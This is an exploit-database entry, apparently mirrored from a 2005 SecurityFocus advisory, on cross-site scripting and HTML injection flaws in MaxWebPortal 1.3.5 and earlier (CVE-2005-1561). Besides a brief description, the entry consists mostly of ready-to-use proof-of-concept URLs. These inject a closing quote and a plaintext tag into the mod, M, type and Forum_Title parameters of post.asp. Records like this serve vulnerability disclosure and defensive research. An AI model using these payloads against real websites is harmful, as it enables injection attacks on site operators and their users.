Maxwebportal 1.3x - 'post.asp' Multiple Cross-Site Scripting Vulnerabilities

Author: Zinho
type: webapps
platform: asp
port: 
date_added: 2005-05-11  
date_updated: 2013-05-23  
verified: 1  
codes: CVE-2005-1561;OSVDB-16501  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 25651.txt  

source: https://www.securityfocus.com/bid/13601/info

MaxWebPortal is affected by multiple remote vulnerabilities. These issues may allow an attacker to carry out cross-site scripting, SQL injection and HTML injection attacks.

MaxWebPortal 1.3.5 and prior versions are reportedly vulnerable to these issues.

Cross-site Scripting
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&mod="><plaintext>

/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&M="><plaintext>

/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&type="><plaintext>

HTML Injection:
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=http://<plaintext>